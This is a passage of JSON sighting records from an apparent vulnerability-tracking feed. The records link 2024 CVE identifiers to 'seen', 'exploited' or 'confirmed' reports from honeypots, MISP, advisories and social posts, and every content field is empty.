"creation_timestamp": "2025-11-04T00:00:00.000000Z"}, {"uuid": "1718f912-6066-4326-851c-68a8529ac948", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12971", "type": "seen", "source": "https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/pandora_fms_auth_rce_cve_2024_12971.rb", "content": "", "creation_timestamp": "2025-04-08T05:57:06.000000Z"}, {"uuid": "d71e75de-f12b-4b39-b7bd-97e986d51d52", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12649", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:02.000000Z"}, {"uuid": "bbb21530-3c68-4cf1-8efa-9baa2c5a718a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12648", "type": "seen", "source": "MISP/d0bda5d9-8cbc-4c6c-8803-a5e3150f9ec2", "content": "", "creation_timestamp": "2025-09-01T19:03:02.000000Z"}, {"uuid": "3e168c9b-acc9-4429-bd80-411dfbb5358b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12409", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "8001fd25-7afd-44e3-987c-16602477e47b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12921", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "bfbc74db-71ee-4c8a-bba2-6e9a1fd80c6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "seen", "source": "MISP/1c5c38d6-3401-41ac-be0e-4cf361fa6f51", "content": "", "creation_timestamp": "2025-09-25T00:36:28.000000Z"}, {"uuid": "068c5319-a555-4d69-8d2b-eed2f67bf12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12524", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "28d09772-9201-46e3-8c40-8fc201697bdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12647", "type": "seen", "source": "MISP/ca7dfd4e-d0b5-4d10-8982-36d9f6e53c8e", "content": "", "creation_timestamp": "2025-09-01T13:53:38.000000Z"}, {"uuid": "29e78eaf-e222-4638-870f-fd718ac85d87", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12310", "type": "seen", "source": "MISP/2bceffac-02c3-4c54-a709-6e253b38ec76", "content": "", "creation_timestamp": "2025-09-09T20:56:41.000000Z"}, {"uuid": "3674cafa-4c6d-4ac9-bc4f-7291e9dc781f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12912", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "e037a4e3-1a93-4d21-861d-3792444ddb45", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12108", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "0c0daaa9-c1f1-48be-8db3-f719676233be", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12828", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "948da26a-c0c3-48eb-a989-89a27272ad6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12970", "type": "seen", "source": "MISP/3445a876-cced-4346-bf37-e276ba39cff4", "content": "", "creation_timestamp": "2025-09-02T18:30:14.000000Z"}, {"uuid": "acd3c289-919c-413b-9f75-95fe28644172", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12545", "type": "seen", "source": "MISP/dd71e3c5-20f7-409a-8bcc-8df3cd8022a7", "content": "", "creation_timestamp": "2025-09-03T13:30:06.000000Z"}, {"uuid": "772050eb-20d4-418e-b5d2-93a3cafbc469", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-24)", "content": "", "creation_timestamp": "2025-09-24T00:00:00.000000Z"}, {"uuid": "8d05b5b6-89de-4e59-97c7-1606e00d9533", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-11-07)", "content": "", "creation_timestamp": "2025-11-07T00:00:00.000000Z"}, {"uuid": "5c86a242-4f4b-47d4-a5d9-76f846cd069b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-09-03)", "content": "", "creation_timestamp": "2025-09-03T00:00:00.000000Z"}, {"uuid": "818dfd28-2962-492e-884b-1bccd4bcce0f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2025-11-23)", "content": "", "creation_timestamp": "2025-11-23T00:00:00.000000Z"}, {"uuid": "49887299-b3b5-452a-9420-916d5d7640fc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12878", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12878.yaml", "content": "", "creation_timestamp": "2026-02-11T12:41:17.000000Z"}, {"uuid": "9d41bc62-d9a0-454c-a352-7ab79ed03d5b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-22)", "content": "", "creation_timestamp": "2026-02-22T00:00:00.000000Z"}, {"uuid": "78407101-baba-4586-bcd8-bdecf2a856f7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": "2026-02-23T00:00:00.000000Z"}, {"uuid": "d7e33045-d7af-40d9-b53f-692f95734956", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-27)", "content": "", "creation_timestamp": "2026-02-27T00:00:00.000000Z"}, {"uuid": "128cabbe-ea6d-4acc-9183-0515937ae846", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-03)", "content": "", "creation_timestamp": "2025-12-03T00:00:00.000000Z"}, {"uuid": "4a505e03-f891-4ee6-8835-baba6239d00b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-31)", "content": "", "creation_timestamp": "2026-01-31T00:00:00.000000Z"}, {"uuid": "42f53ab5-7e1f-4dba-a60e-4f015abb40d0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "19baf64d-0de9-4f5a-8c6b-772adbec15e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-04)", "content": "", "creation_timestamp": "2025-12-04T00:00:00.000000Z"}, {"uuid": "8dec9c57-de34-43c2-91b5-36f6b62681e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-25)", "content": "", "creation_timestamp": "2026-02-25T00:00:00.000000Z"}, {"uuid": "61a118da-9055-4fd4-adb9-74b351f523f2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-12)", "content": "", "creation_timestamp": "2026-02-12T00:00:00.000000Z"}, {"uuid": "15e91313-53c9-4b5b-a1ec-fd419a54c3cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-01-31)", "content": "", "creation_timestamp": "2026-01-31T00:00:00.000000Z"}, {"uuid": "d3d0e50c-f3a0-4d3c-971b-e8ab50f93fc3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-05)", "content": "", "creation_timestamp": "2025-12-05T00:00:00.000000Z"}, {"uuid": "c7673b49-f652-4457-8177-494423c8c1a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12297", "type": "seen", "source": "https://cyber.gc.ca/en/alerts-advisories/control-systems-moxa-security-advisory-av26-085", "content": "", "creation_timestamp": "2026-02-04T15:40:27.000000Z"}, {"uuid": "22c288f9-7f5a-4411-9fd3-bb380137a3e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": "2026-02-23T00:00:00.000000Z"}, {"uuid": "d82a87f6-9cd3-495d-8936-df8d80713d2d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-07)", "content": "", "creation_timestamp": "2026-02-07T00:00:00.000000Z"}, {"uuid": "d7ca4359-d81e-4008-9832-80becc2c4308", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-06)", "content": "", "creation_timestamp": "2025-12-06T00:00:00.000000Z"}, {"uuid": "1b92c4ba-3f28-4ce9-98c1-fa457d162cdb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12248", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mdj6ccjy5o24", "content": "", "creation_timestamp": "2026-01-28T21:03:00.174485Z"}, {"uuid": "c00929ab-d5a9-4ca5-8203-dbebf74361fb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-15)", "content": "", "creation_timestamp": "2026-02-15T00:00:00.000000Z"}, {"uuid": "0155c0cf-8062-4770-a524-7207ecc3d247", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-01)", "content": "", "creation_timestamp": "2026-03-01T00:00:00.000000Z"}, {"uuid": "3ab9aa72-26c3-4033-be36-48d2aceaf4cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1212", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-04)", "content": "", "creation_timestamp": "2026-03-04T00:00:00.000000Z"}, {"uuid": "06e1d8e3-7e80-42e5-9335-6020b94a28f6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-01-31)", "content": "", "creation_timestamp": "2026-01-31T00:00:00.000000Z"}, {"uuid": "0c815d39-5105-42c8-ab3e-11f9dd8c7f22", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-10)", "content": "", "creation_timestamp": "2026-02-10T00:00:00.000000Z"}, {"uuid": "88ba1a7c-e81e-422c-af3d-15accbfe6101", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-22)", "content": "", "creation_timestamp": "2026-02-22T00:00:00.000000Z"}, {"uuid": "6d64a78e-10bf-4265-bcb7-1090b92d4a00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-23)", "content": "", "creation_timestamp": "2026-02-23T00:00:00.000000Z"}, {"uuid": "583e5676-0565-44de-83e6-abf3c5efb40d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-03)", "content": "", "creation_timestamp": "2026-03-03T00:00:00.000000Z"}, {"uuid": "6010800a-e391-44cd-b8c3-a007a5c7e22b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12877", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mejue7qywc2c", "content": "", "creation_timestamp": "2026-02-10T21:02:57.948705Z"}, {"uuid": "fa102466-b918-4a19-aadb-8ee39abbd1e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-17)", "content": "", "creation_timestamp": "2026-02-17T00:00:00.000000Z"}, {"uuid": "40efe9b3-cb30-46c8-a0d9-3d9d26cb2ae8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12718", "type": "seen", "source": "https://www.cisa.gov/news-events/ics-advisories/icsa-26-043-06", "content": "", "creation_timestamp": "2026-02-12T11:00:00.000000Z"}, {"uuid": "1e8d2e6c-c379-43c2-ac62-f8f34dffd2f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/semo970921/b7900f5845408aca8633df26a5a0059b", "content": "", "creation_timestamp": "2026-02-06T06:51:25.000000Z"}, {"uuid": "cfe61d7a-0a0a-4586-8524-6f32afab1898", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://gist.github.com/semo970921/b7900f5845408aca8633df26a5a0059b", "content": "", "creation_timestamp": "2026-02-06T06:51:25.000000Z"}, {"uuid": "a2fefa8d-9562-48a1-bca0-deebc6af98c9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12345", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mgi4fbshkx2m", "content": "", "creation_timestamp": "2026-03-07T15:11:47.833425Z"}, {"uuid": "8573a3b6-3690-440c-ad09-31f0f201adc9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3mggzy4feyt2d", "content": "", "creation_timestamp": "2026-03-07T04:55:57.851164Z"}, {"uuid": "e0b05d18-59e6-4ac0-97f9-cb0f6e28e706", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/gal-dahan-wiz/a770c7ef4af0cfe9030251cd58d6bb23", "content": "", "creation_timestamp": "2026-03-06T12:29:52.000000Z"}, {"uuid": "392c5771-2cc8-4201-b194-ee33132f559a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-05)", "content": "", "creation_timestamp": "2026-02-05T00:00:00.000000Z"}, {"uuid": "40a50d49-e8f3-47f9-9ab2-62830a6e4508", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-09)", "content": "", "creation_timestamp": "2026-02-09T00:00:00.000000Z"}, {"uuid": "554ff11f-6521-4636-9fcd-ea6305b0281e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12734", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12734.yaml", "content": "", "creation_timestamp": "2026-02-05T04:57:35.000000Z"}, {"uuid": "ada96e4a-6932-4f99-b12e-94e47e08560c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-15)", "content": "", "creation_timestamp": "2026-02-15T00:00:00.000000Z"}, {"uuid": "26c629d4-131a-45c7-b5cc-632bd3bd93d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12732", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/http/cves/2024/CVE-2024-12732.yaml", "content": "", "creation_timestamp": "2026-02-07T03:22:12.000000Z"}, {"uuid": "40dcaf39-b8e1-4c6e-80e3-e36fcc904039", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-16)", "content": "", "creation_timestamp": "2026-02-16T00:00:00.000000Z"}, {"uuid": "ca518771-030d-45f8-bf4c-6c188293ee7f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-08)", "content": "", "creation_timestamp": "2026-03-08T00:00:00.000000Z"}, {"uuid": "79d48e79-edda-47ff-bef2-f9dea3f0de80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1234", "type": "seen", "source": "https://gist.github.com/gal-dahan-wiz/13c8354a0ad368d7f2c33206cf8c925d", "content": "", "creation_timestamp": "2026-02-26T14:47:40.000000Z"}, {"uuid": "4b9d6f83-774c-4666-9abc-24b233d484ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12856", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2025-12-13)", "content": "", "creation_timestamp": "2025-12-13T00:00:00.000000Z"}, {"uuid": "d3ed4ae6-5b99-44d1-8586-75de096e1a18", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-09)", "content": "", "creation_timestamp": "2026-03-09T00:00:00.000000Z"}, {"uuid": "d3be6741-f59d-4e59-8fd4-d510bccd1356", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-03-03)", "content": "", "creation_timestamp": "2026-03-03T00:00:00.000000Z"}, {"uuid": "eb10f353-1ca7-43b3-a0ff-9f69ad646bcf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-17)", "content": "", "creation_timestamp": "2026-02-17T00:00:00.000000Z"}, {"uuid": "be4ab3e9-ad3a-45ff-9ff7-d52ee5e6ff7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-05)", "content": "", "creation_timestamp": "2026-02-05T00:00:00.000000Z"}, {"uuid": "accedacd-6a04-4d17-b699-3d5a91184968", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-21)", "content": "", "creation_timestamp": "2026-02-21T00:00:00.000000Z"}, {"uuid": "51195d1e-e5c1-4549-8531-39fe56af3f76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12585", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovccxtun2k", "content": "", "creation_timestamp": "2026-02-12T21:03:15.071148Z"}, {"uuid": "6555cfda-7fd1-4990-bbc1-e9f78a66df8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12638", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcd2d3t24", "content": "", "creation_timestamp": "2026-02-12T21:03:15.623962Z"}, {"uuid": "dcb38536-4db8-4351-9e2a-cc9f0a9cf47e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12737", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcd4tzn2k", "content": "", "creation_timestamp": "2026-02-12T21:03:16.241907Z"}, {"uuid": "271d1d39-d00e-4e05-8b27-80a3a647ba8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-02-09)", "content": "", "creation_timestamp": "2026-02-09T00:00:00.000000Z"}, {"uuid": "75e5cd6c-8ec5-46c3-bfaf-394d5c23941a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12749", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcd7cur2q", "content": "", "creation_timestamp": "2026-02-12T21:03:16.809587Z"}, {"uuid": "a292a231-00b4-4657-af29-b69f7687833e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12878", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3meovcdbtcz2i", "content": "", "creation_timestamp": "2026-02-12T21:03:17.412297Z"}, {"uuid": "c9d27f55-cf60-435b-a009-eee581f6ec49", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-02-06)", "content": "", "creation_timestamp": "2026-02-06T00:00:00.000000Z"}, {"uuid": "244caea9-cbb3-43ab-aff6-bbc7b69faac8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12847", "type": "seen", "source": "The Shadowserver (honeypot/common-vulnerabilities) - (2026-03-02)", "content": "", "creation_timestamp": "2026-03-02T00:00:00.000000Z"}, {"uuid": "257df72e-646c-470a-86e4-7a543faab461", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": 